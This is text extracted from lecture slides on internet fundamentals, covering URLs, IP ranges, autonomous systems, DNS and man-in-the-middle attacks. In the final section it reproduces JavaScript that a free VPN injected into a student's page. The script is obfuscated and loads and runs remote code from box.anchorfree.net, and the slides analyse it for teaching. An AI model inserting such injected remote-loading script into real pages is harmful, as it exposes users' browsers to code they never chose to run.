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What is a URL?
◦ Uniform Resource Locators (URLs) are a standardized format for 

describing the location and access method of resources via the 
internet.
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<scheme>://<user>:<password>@<host>:<port>/<url-path>?<query-string>

<subdomain>.<domain>.<topdomain>

eg.      https://profile.facebook.com



Today
• Very basic routing

• IP addresses

• Autonomous systems

• Doman Name System (DNS)

• Man in the Middle (if we get that far)
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Very basic routing

KAMI VANIEA 6



Your Computer The Internet Website Server

Basic standard drawing of the Internet.

Your computer (left) connects to “the cloud” 
(middle) which connects you to the webserver 
you want to talk with (right). 



The Internet

Verizon

British 
Telecom

Level 
Three

More realistic drawing 
of the internet.

M
M
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Each line is a 
computer my 
message passes 
through on its 
way between my 
computer and 
facebook.com
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Thankfully we can read URLs, 
so lets look at what happened 

here: 

First connection was in 
Germany (.de) where the 
website I was using is hosted.

Next 3 connections are to 
hetzner.com which is a 
hosting company in Germany.Next tfbnw.net which is 

owned by Facebook and 
registered in California

Finally it lands at Facebook



The Internet

Verizon

British 
Telecom

Level 
Three

More realistic drawing 
of the internet.



Internet Protocol (IP) Addresses
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By Indeterminate - Own work, Public Domain, 
https://commons.wikimedia.org/w/index.php?curid=2868206



Every computer on a network has an IP 
address which is unique from the other 
computers. 
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Each interface on a computer gets one IP 
address. 

So your WIFI would get one IP and your 
wired network connection would get a 
different IP if both were connected.
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ifconfig on Linux

ipconfig on Windows



If you check your own IP address 
regularly, you will notice that it changes 
every time your computer changes 
networks.
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Inside the University only the last few bits 
will normally change, but if you go home 
the whole address may change.

KAMI VANIEA 21



KAMI VANIEA 22http://en.dnstools.ch/visual-traceroute.html



IP 
addresses 
are 
organized 
into ranges
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IP Reserved Ranges
Class Start Address End Address

A – Private 10.0.0.0 10.255.255.255

B – Private 172.16.0.0 172.31.255.255

C – Private 192.168.0.0 192.168.255.255

Loopback 127.0.0.0 127.255.255.255
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This jump from a private 
network range to a public 
one is called NATing, we 

will talk about it next 
class



Autonomous Systems (AS)
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The Internet

Verizon

British 
Telecom

Level 
Three

More realistic drawing 
of the internet.

Autonomous System

a single organization in 
charge of routing for a

set of IP addresses
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The Internet

Verizon

British 
Telecom

Level 
Three

More realistic drawing 
of the internet.



KAMI VANIEA 32

Cadia’s IPv6 AS Core 
AS-level Internet 
Graph 
Jan 2008



Map of the core 
Autonomous 
Systems (AS) by 
Caida

http://www.caida.org/research/topology/as_core_net
work/pics/2015/ascore-2015-jan-ipv4v6-poster-
2000x1389.png



A real world 
example

34

https://blog.cloudflare.co
m/how-syria-turned-off-
the-internet/



Syria going 
offline –
November 2012
▪ Article: 

https://blog.cloudflar
e.com/how-syria-
turned-off-the-
internet/

▪ Going offline:
https://player.vimeo.c
om/video/54630037

▪ Going online: 
https://player.vimeo.c
om/video/54670123
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https://blog.cloudflare.com/how-syria-turned-off-the-internet/
https://player.vimeo.com/video/54630037
https://player.vimeo.com/video/54670123
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Syria’s AS is, directly 
connected to three 

other AS’s.

Each number is an 
AS, which is a 

network run by a 
single group.

Each colored line is 
the current shortest 
path between two 

AS’s.
All lines on this 

graph connect Syria 
to other parts of 

the world.

Paths shift all the 
time. This is normal 
on the internet as 

the current shortest 
path is dynamically 

negotiated (BGP 
routing).



Syria going 
offline –
November 2012
▪ Article: 

https://blog.cloudflar
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internet/
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https://blog.cloudflare.com/how-syria-turned-off-the-internet/
https://player.vimeo.com/video/54630037
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Domain Name Service 
(DNS)
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Domain Name Service (DNS)
• The DNS service translates human friendly URLs such as 

http://vaniea.com to their IP address such as 69.163.145.230. 

• Mappings between URLs and IPs are not static. 

• DNS servers keep track of current mappings.

• One domain, such as google.com, may have many IP addresses 
associated with it since several computers are used to host the
domain
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http://vaniea.com/
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Name Servers (NS) for 
Facebook.com

These servers notify other 
computers what Facebook’s 

current IP is
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DNS Servers
are soft
targets for
attackers,
take out the
mapping and 
the website 
goes “offline”
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Man in the middle
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Your Computer The Internet Website Server

Alice Bob



Your Computer The Internet Website Server

Alice Bob

Charlie



Alice Bob

Charlie

• Charlie is in the middle between Alice and Bob. 

• Charlie can:

◦ View traffic

◦ Change traffic

◦ Add traffic

◦ Delete traffic

• Charlie could be: 

◦ Internet service provider

◦ Virtual Private Network (VPN) provider

◦ WIFI provider such as a coffee shop

◦ An attacker re-routing your connection

◦ An incompetent admin (it happens)



Your Computer The Internet Destination Server

Verizon

Level Three

Comcast



Your Computer The Internet

Destination Server

Verizon

Level Three
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M



The following is an attack that actually 
happened to a student of mine when they 
were trying to upload their “set a cookie” 
homework using a free VPN.
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<html>
<head>

<title>Basic web page</title>
<link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
<script>

document.cookie="username=John Doe;";
</script>

</head>
<body> THIS TEXT HAS BEEN CHANGED.
</body>
</html>

Correct 
Answer
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or(Math.random()*999),'TOP':(parent.location!=document.location||top.location!=document.location)?0:1,'AFVER':'3.42','fbw':false,'FBWCNT':0,'FBWC
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src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_AF2$.B+"&ver="+_AF2
$.VER+"&afver="+_AF2$.AFVER+"' type='text/javascript'></scr"+"ipt>");}</script>
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ANCHORFREE_VERSION="633161526“;
var _AF2$ = 
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSCNL000550','C
T':'z51','HST':'&sessStartTime=1422651433&accessLP=1','AFH':'hss7
34','RN':Math.floor(Math.random()*999),'TOP':(parent.location!=do
cument.location||top.location!=document.location)?0:1,'AFVER':'3.
42','fbw':false,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIREFOX','NO
FBWNAME':'NO_FBW_FIREFOX','B':'f','VER': 
'us'};if(_AF2$.TOP==1){document.write("<scr"+"ipt
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"
&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_AF2$.
B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+"' 
type='text/javascript'></scr"+"ipt>");}



ANCHORFREE_VERSION="633161526“;
var _AF2$ = 
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSCNL000550','C
T':'z51','HST':'&sessStartTime=1422651433&accessLP=1','AFH':'hss7
34','RN':Math.floor(Math.random()*999),'TOP':(parent.location!=do
cument.location||top.location!=document.location)?0:1,'AFVER':'3.
42','fbw':false,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIREFOX','NO
FBWNAME':'NO_FBW_FIREFOX','B':'f','VER': 
'us'};if(_AF2$.TOP==1){document.write("<scr"+"ipt
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"
&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_AF2$.
B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+"' 
type='text/javascript'></scr"+"ipt>");}



This code is 
downloading 
more javascript
from 
box.anchorfree
.net and 
running it on 
the client. 

document.write("<scr"+"ipt
src='http://box.anchorfree.n
et/insert/insert.php?sn="+_
AF2$.SN+"&ch="+_AF2$.CH
+"&v="+ANCHORFREE_VERS
ION+6+"&b="+_AF2$.B+"&v
er="+_AF2$.VER+"&afver="+
_AF2$.AFVER+"' 
type='text/javascript'></scr"
+"ipt>”);



Think-pair-
share: 

ANCHORFREE_VERSION="633161526“;
var _AF2$ = 
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSC
NL000550','CT':'z51','HST':'&sessStartTime=1422651433
&accessLP=1','AFH':'hss734','RN':Math.floor(Math.rando
m()*999),'TOP':(parent.location!=document.location||top.l
ocation!=document.location)?0:1,'AFVER':'3.42','fbw':fals
e,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIREFOX','NOF
BWNAME':'NO_FBW_FIREFOX','B':'f','VER': 
'us'};if(_AF2$.TOP==1){document.write("<scr"+"ipt
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF
2$.SN+"&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSI
ON+6+"&b="+_AF2$.B+"&ver="+_AF2$.VER+"&afver="+_
AF2$.AFVER+"' type='text/javascript'></scr"+"ipt>");}

• Why do this 
attack at all?

• This code is 
complex for a 
reason, what 
is it?



Here Be 
Dragons

The Internet

Website Server

In short: 

Dangerous 
stuff happens 
on the 
Internet, do 
not assume 
data will be 
safe in transit 

Your Computer



Questions
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